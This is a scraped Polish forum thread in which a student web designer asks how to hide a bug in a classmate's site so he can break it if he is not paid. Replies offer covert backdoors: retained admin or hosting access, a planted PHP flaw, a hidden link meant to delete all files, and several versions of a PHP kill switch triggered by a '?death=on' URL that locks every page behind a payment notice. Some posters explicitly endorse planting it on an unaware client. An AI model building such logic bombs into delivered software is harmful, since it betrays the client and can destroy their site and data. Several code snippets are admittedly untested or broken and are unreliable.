ďťż
Podstrony
|
telcocafeOtoz zajmuje sie tworzeniem stron internetowych. Tworze strone chlopakowi z mojej szkoly za 45zl.... niby nic.. ale nie chce mi sie siedziec godzinke nad stronka i nie dostac ani grosza..ehhh. Podejzewam ze gosciu nie wywiaze sie z obietnicy i nie da kasy. Czy mam mozliwoas pozostawienia sobie jakiegos buga na stronce... aby w przypadku braku zaplaty rozwalic stronke?? Albo jakie sposoby proponujecie abym uniknol takiej sytuacji?? <_< Prosze o pomoc :PNie możesz się umówić z nim, że zamiast wysyłać mu link do gotowej strony pokażesz screena? Jeżeli stronka ma posiadać jakiś panel administracyjny to poprostu nadaj sobie tam jakieś prawa do administrowania i strona jest twoja. Jeżeli koleś jest totalny lamer i nie będzie sobie potrafił nawet założyć konta na jakimś darmowym serwerze to możesz się za ofiarować że mu pomożesz a przy okazji będziesz mial hasło do konta i strona jest twoja. Możesz użyć jednego z wielu błędów php i go tam umieścić. No i ostatni sposób jeżeli strona będzie wykorzystywała php na stronie index.php dasz kodzi który jeżeli np. zmienna death=on przekierowuj na inną stronę na której dużymi literami napisane będzie najpierw trzeba zapłacić. Jak zapłaci znowu wejdziesz na stronę poprzez taki link www.twoja.strona.pl/index.php?death=off Myślę że będziesz potrafił napisać odpowiedni kod jak nie to napisz tutaj pomogę :) Ostatnio też o czymś takim myślałem ale niewime czy jest coś takiego ja myślałem czy da sie kawałek kodu dać na strone ( ukryć ) a gdy ktos mnie wkurzy (ten co jego jest strona) zebym mógł jom zmienic lubm usunąć my.sle ze php by załatwiło sprawe lecz ja w nim nic nieumię to czeba pytać specjalistów :D zrób tak: jakąś tam funkcje blokującą stronę czy coś, zakoduj to w pliku i przu includowaniu dekoduj. będzie to ciężkie do znalezienia. Zrób jakiegoś linka tajnego, niewidocznego, bez podkreślenia, zlewającego się z tekstem :P W razie braku zapłaty kliknij na ten ukryty link, a on wykona skrypt np. kasujący wszystkie pliki na koncie :P //ech przecinki :D Użytkownik ryjcio edytował ten post 24 marzec 2005, 19:01 Zrób jakiegoś linka tajnego, niewidocznego, bez podkreślenia, zlewającego się z tekstem :P W razie braku zapłaty kliknij na ten ukryty link, a on wykona skrypt np. kasujący wszystkie pliki na koncie :P //ech przecinki :D <? if(isset($_GET["crash"])){ $dh = opendir("./"); while ($file = readdir($dh)) { unset($file); } closedir($dh); } ?> umieszczasz to w katalogu w jakimś tam pliku php. wpisujesz w przeglądarke www.strona.pl/skrypt.php?crash=on wszystkie pliki z katalogu w którym jest skrypt są kasowane. <? if(isset($_GET["crash"])){ $dh = opendir("./"); while ($file = readdir($dh)) { unset($file); } closedir($dh); } ?> umieszczasz to w katalogu w jakimś tam pliku php. wpisujesz w przeglądarke www.strona.pl/skrypt.php?crash=on wszystkie pliki z katalogu w którym jest skrypt są kasowane. Otoz zajmuje sie tworzeniem stron internetowych. Tworze strone chlopakowi z mojej szkoly za 45zl.... niby nic.. ale nie chce mi sie siedziec godzinke nad stronka i nie dostac ani grosza..ehhh. Podejzewam ze gosciu nie wywiaze sie z obietnicy i nie da kasy. Czy mam mozliwoas pozostawienia sobie jakiegos buga na stronce... aby w przypadku braku zaplaty rozwalic stronke?? Albo jakie sposoby proponujecie abym uniknol takiej sytuacji?? <_< Prosze o pomoc :P Ja ci proponuje zupełnie inne rozwiązanie. Zrób strone i umieść ją gdzies na bezpłatnym serwerze. Daj klijentowi linke i a w momęcie zapłaty prześlij pkiki na wskazany przez niego serwer. Ale wcześniej zabezpiecz przed teleportem i tym podobnymi programami. A jak sie zabezpieczyc?? Obiecałem Ci, że też napiszę ci jakiś kodzik chociaż ten ARJ jest bardzo dobry. <?php include("test.php"); if(isset($GET['death']{ $kill =$_GET['death']; if($kill==on){ header("oplata.html"); } } ?> To musi być na samym początku strony najlepiej przed <HTML> <?php $kill=off; ?> Mam nadzieję że będzie działał (nie sprawdzałem go) jak by coś było nie tak a byłby ci potrzebny to poprawię w razie czego. :) <?php $kill=off; ?> Mam nadzieję że będzie działał (nie sprawdzałem go) jak by coś było nie tak a byłby ci potrzebny to poprawię w razie czego. :) <?php $kill=off; ?> Mam nadzieję że będzie działał (nie sprawdzałem go) jak by coś było nie tak a byłby ci potrzebny to poprawię w razie czego. :) Napiszę jeszcze raz ten kod z dokładnymi komentarzami: <?php include("test.php"); // dzięki temu zmienne w pliku test.php będą // widoczne również w pliku index.php if(isset($GET['death']{ //sprawdzamy czy istnieje zmienna death // innymi słowy czy adres do strony miał taką formę // www..twoja.strona.pl/index.php?death=on $kill =$_GET['death']; //tutaj jeżeli istniała zmienna death // przypożądkowujemy jej nazwę zmiennej $kill } if($kill==on){ //tutaj sprawdzamy czy zmienna $kill ma wartość on // jeżeli tak to nastąpi zmiana strony na oplata.html echo('<meta http-equiv="refresh" content="0;URL=oplata.html">'); } ?> W pliku test.php przetrzymujemy wartość zmiennej $kill . Jest to po to żeby po tym jak raz uruchomisz stronę z tego urla www..twoja.strona.pl/index.php?death=on ona już się normalnie nie uruchamiała do czasu aż kiedy wywołamy stronę z takiego urla: www..twoja.strona.pl/index.php?death=off W pliku test.php wystarczy umieścić taki kod: <?php $kill=off; ?> W pliku oplata.html możemy umieścić co chcemy. Np. prośbę o zapłatę i warunek że do póki nie zapłacisz strona będzie nie czynna. Ostatnia rzecz Jeżeli przykładowo są jakieś podstrony i chciałbyś zablokować również do nich dostęp to wystarczy że na początku każdej umieścisz ten kod: <?php include("test.php"); if($kill==on){ //tutaj sprawdzamy czy zmienna $kill ma wartość on // jeżeli tak to nastąpi zmiana strony na oplata.html echo('<meta http-equiv="refresh" content="0;URL=oplata.html">'); } ?> Kod ten powinien sprawdzić wartość zmiennej kill i ewentualnie jeżeli wcześniej odpwiednim wywołaniem strony nadaliście jej wartość on to się żądana stronie nie załaduje lecz wyskoczy strona oplata.html Mam nadzieję że już wszystko jasne. Jeżeli nie to napiszcie których fragmentów nie rozumiecie. PS. Nie sprawdzałem tego kodu więc jak by gdzieś błąd wyskoczył to napiszcie. Sorry ,Sorry i jeszcze raz Sorry za to że tyle mieszam. Ten kod mał błędy(nie chciało mi się go sprawdzać) Teraz napisałem i sprawdziłem kod który działa na bank(przynajmniej u mnie) <?php if(isset($_GET['death'])){ $file=fopen("check.a","w"); flock($file,2); fwrite($file,$_GET['death']); flock($file,3); fclose($file); } if(file_exists("check.a")){ $file=fopen("check.a","r"); flock($file,1); $kill=fgets($file); flock($file,3); fclose($file); } if($kill=="on"){ echo('<meta http-equiv="refresh" content="0;URL=oplata.html">'); } ?> To wstawiasz w pliku index.php na początku. Musisz tylko jeszcze napisać stronę oplata.html i wszystko będzie działało. Stronę blokujesz takim linkiem: www.adres.strony.pl/index.php?death=on a odblokowujesz www.adres.strony.pl/index.php?death=off //a właściwie zamiast off możesz // wpisać co kolwiek byle nie on :) Tam ten kod miał kupę błędów i nie miał nawet prawa działać. Jak to działa możecie zobaczyć jak to działa to napiszcie do mnie na GG wżucę to na serwer na moim PC i zobaczycie, ocenicie. Mój GG: 4118474 A ja radzę sobie jeszcze inaczej. Stronę z ofertą mam zrobioną na ramkach i jedna ze stron wrzucana do ramek zawiera hasło. Jak koleś wpisze hasło to pojawi mu się w ramce dana storna którą chciał widzieć. Jak to działa i jak pewne rzeczy zabezpieczyłem. ano tak. Skrypt hasło jest napisany w Javascript. hasłem jest nazwa katalogu w którym jest strona (ale nie nazwa pliku). Hasła nie ma w kodzie strony. Strona jest zupełnie na innym serwerze. Wygląda to mniej więcej tak: "http://www.początek_adresu_stronki.pl/" + zmienna_hasło (pobierana z formularza ze strony) + "/index.html" Dzięki temu nie dość że mam możliwość kontroli nad stronką mogę też udostępnić wiele szablonów czy stron kilku uzytkownikom. W dodatku nie potrzebuję PHP. Zaraz ktoś powie że przecież adres stronki wyswietli się kolesiowi więc skopiuje i jakimś "ściągaczem" off-line weźmie stronkę i jest jego. Ale nie bo adres stronki się nie wyświetli w przeglądarce bo stronka ładuje się do ramki i widoczny jest tylko adres bazowy. Koleś musiałby znać się na kodzie i wziąć początek adresu plus zmienną "hasło" i koniec adresu, co nie jest takie łatwe bo źródło strony też zablokowałem. B) Na koniec napiszę tylko że nie ma 100% zabezpieczenia ale z drugiej strony wiemy że robimy stronki dla ludzi którzy się w kodzie raczej nie znają więc aż tak prosto nam nie podbiorą a ktoś kto się zna to sobie sam stronkę zrobi. Ale wcześniejszy pomysł jest o tyle dobry że można "nieswiadomemu" klientowi podrzucić pliki i stronkę i jesli np. zarządzamy mu nią a on ma także dostęp do FTPa to sami możemy mu ją zablokować nawet jak nie znamy aktualnego hasła (bo koleś zmienił) Minus że musi mieć PHP. Dlatego opisałem swój sposób. A ja radzę sobie jeszcze inaczej. Stronę z ofertą mam zrobioną na ramkach i jedna ze stron wrzucana do ramek zawiera hasło. Jak koleś wpisze hasło to pojawi mu się w ramce dana storna którą chciał widzieć. Jak to działa i jak pewne rzeczy zabezpieczyłem. ano tak. Skrypt hasło jest napisany w Javascript. hasłem jest nazwa katalogu w którym jest strona (ale nie nazwa pliku). Hasła nie ma w kodzie strony. Strona jest zupełnie na innym serwerze. Wygląda to mniej więcej tak: "http://www.początek_adresu_stronki.pl/" + zmienna_hasło (pobierana z formularza ze strony) + "/index.html" Dzięki temu nie dość że mam możliwość kontroli nad stronką mogę też udostępnić wiele szablonów czy stron kilku uzytkownikom. W dodatku nie potrzebuję PHP. Zaraz ktoś powie że przecież adres stronki wyswietli się kolesiowi więc skopiuje i jakimś "ściągaczem" off-line weźmie stronkę i jest jego. Ale nie bo adres stronki się nie wyświetli w przeglądarce bo stronka ładuje się do ramki i widoczny jest tylko adres bazowy. Koleś musiałby znać się na kodzie i wziąć początek adresu plus zmienną "hasło" i koniec adresu, co nie jest takie łatwe bo źródło strony też zablokowałem. B) Na koniec napiszę tylko że nie ma 100% zabezpieczenia ale z drugiej strony wiemy że robimy stronki dla ludzi którzy się w kodzie raczej nie znają więc aż tak prosto nam nie podbiorą a ktoś kto się zna to sobie sam stronkę zrobi. Ale wcześniejszy pomysł jest o tyle dobry że można "nieswiadomemu" klientowi podrzucić pliki i stronkę i jesli np. zarządzamy mu nią a on ma także dostęp do FTPa to sami możemy mu ją zablokować nawet jak nie znamy aktualnego hasła (bo koleś zmienił) Minus że musi mieć PHP. Dlatego opisałem swój sposób. Tez dobre.. a moglbys podac link ze swoim sposobem?? ^_^ p.s takiego przyklaowego... Sorry ,Sorry i jeszcze raz Sorry za to że tyle mieszam. Ten kod mał błędy(nie chciało mi się go sprawdzać) Teraz napisałem i sprawdziłem kod który działa na bank(przynajmniej u mnie) <?php  if(isset($_GET['death'])){  $file=fopen("check.a","w"); flock($file,2); fwrite($file,$_GET['death']); flock($file,3); fclose($file); }   if(file_exists("check.a")){ $file=fopen("check.a","r"); flock($file,1); $kill=fgets($file); flock($file,3); fclose($file); } if($kill=="on"){                       echo('<meta http-equiv="refresh" content="0;URL=oplata.html">');  } ?> To wstawiasz w pliku index.php na początku. Musisz tylko jeszcze napisać stronę oplata.html i wszystko będzie działało. Stronę blokujesz takim linkiem: www.adres.strony.pl/index.php?death=on a odblokowujesz www.adres.strony.pl/index.php?death=off //a właściwie zamiast off możesz // wpisać co kolwiek byle nie on :) Tam ten kod miał kupę błędów i nie miał nawet prawa działać. Jak to działa możecie zobaczyć jak to działa to napiszcie do mnie na GG wżucę to na serwer na moim PC i zobaczycie, ocenicie. Mój GG: 4118474 na końcu kodu zamień if($kill=="on"){ echo('<meta http-equiv="refresh" content="0;URL=oplata.html">'); } na if($kill=="on"){ header("Location: zaplac.php"); exit; } a nie lepiej dać mu dopiero po zapłacie hasło na serwer if($kill=="on"){ header("Location: zaplac.php"); exit; } zrob w php plik, ktory po otwarciu bedzie kasowal wszystkie pliki strony :P Location - musi mieć pełną ścieżkę. najlepiej będzie tak: ... if($kill=="on") { include("require.php"); } ... Index2.php: BRAK ZAPŁATY. <?php exit; ?> Użytkownik Ferrari edytował ten post 09 kwiecień 2005, 16:51 dzięki :P ;) ten kod będzie lepszy ;) troszke sie ogubiłem:P czy mógłby mi ktoś na PW wysłąc całość jak to powinno wyglądać (niekoniecznie na PW) :) O rany to chyba będzie tak: <?php if(isset($_GET['death'])){ $file=fopen("check.a","w"); flock($file,2); fwrite($file,$_GET['death']); flock($file,3); fclose($file); } if(file_exists("check.a")){ $file=fopen("check.a","r"); flock($file,1); $kill=fgets($file); flock($file,3); fclose($file); } if($kill=="on"){ header("Location: zaplac.php"); exit; } ?> |
|||
Sitedesign by AltusUmbrae. |